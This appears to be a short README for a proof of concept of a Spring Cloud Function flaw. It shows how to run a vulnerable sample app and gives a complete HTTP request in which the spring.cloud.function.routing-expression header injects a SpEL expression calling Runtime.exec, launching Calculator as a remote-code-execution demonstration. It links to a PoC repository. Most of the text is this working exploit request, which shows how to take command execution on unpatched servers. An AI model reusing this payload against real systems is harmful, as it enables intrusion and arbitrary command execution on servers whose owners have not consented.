You can build it for youself. here is the source of the Vuln App
Or you can use the release which built by cckuailong(Yh,it's me)
java -jar function-sample-pojo-3.2.1.RELEASE.jar
P.S. test with Java17
POST /xxx HTTP/1.1
Host: test.com:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
xxx
RCE！！
Enjoy it!
I put the poc code in the repo:
https://github.com/cckuailong/pocsploit
